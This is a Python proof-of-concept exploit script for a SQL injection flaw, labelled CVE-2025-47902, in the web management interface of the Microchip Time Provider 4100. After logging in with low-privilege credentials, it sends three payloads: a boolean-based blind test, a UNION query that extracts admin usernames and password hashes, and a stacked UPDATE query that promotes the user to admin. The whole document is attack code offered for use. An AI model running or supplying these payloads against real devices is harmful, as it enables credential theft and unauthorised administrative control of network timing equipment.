CVE-2025-47902

# CVE-2025-47902 - Microchip Time Provider 4100 SQL Injection PoC # Vulnerability: SQL Injection via Web Management Interface # Author: Security Research # Affected: Time Provider 4100 before version 2.5 import requests import sys TARGET_URL = "https://target-device-ip" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sql_injection(target, session_cookie, injection_point, payload): """ Exploit SQL injection in Time Provider 4100 management interface. injection_point: vulnerable parameter name (e.g., 'id', 'configId', 'username') payload: SQL injection payload """ headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { injection_point: payload } try: response = requests.post( f"{target}/api/config/{injection_point}", headers=headers, data=data, verify=False, timeout=10 ) return response.text except Exception as e: print(f"[ERROR] Request failed: {e}") return None def authenticate(target, username, password): """Authenticate to get session cookie with low-privilege credentials.""" auth_data = { "username": username, "password": password } response = requests.post( f"{target}/api/auth/login", data=auth_data, verify=False, timeout=10 ) if response.status_code == 200: return response.cookies.get("SESSIONID") return None def main(): target = TARGET_URL if len(sys.argv) < 2 else sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Authenticating as low-privilege user...") session_cookie = authenticate(target, USERNAME, PASSWORD) if not session_cookie: print("[-] Authentication failed. Provide valid credentials.") return print(f"[+] Got session cookie: {session_cookie}") # Test 1: Boolean-based blind SQL injection print("\n[*] Test 1: Boolean-based blind SQLi") payload_bool = "1' AND 1=1-- -" resp_true = exploit_sql_injection(target, session_cookie, "configId", payload_bool) payload_bool_false = "1' AND 1=2-- -" resp_false = exploit_sql_injection(target, session_cookie, "configId", payload_bool_false) if resp_true != resp_false: print("[+] Boolean-based SQLi confirmed!") # Test 2: UNION-based SQL injection to extract data print("\n[*] Test 2: UNION-based SQLi to extract admin credentials") payload_union = ( "1' UNION SELECT username, password_hash, email " "FROM users WHERE role='admin'-- -" ) resp_union = exploit_sql_injection(target, session_cookie, "configId", payload_union) if resp_union: print(f"[+] Extracted data: {resp_union}") # Test 3: Stacked queries to escalate privileges print("\n[*] Test 3: Stacked queries for privilege escalation") payload_stack = ( "1'; UPDATE users SET role='admin' WHERE username='" + USERNAME + "'-- -" ) resp_stack = exploit_sql_injection(target, session_cookie, "configId", payload_stack) print("[+] Privilege escalation payload executed.") print("\n[*] Exploitation complete.") if __name__ == "__main__": main()

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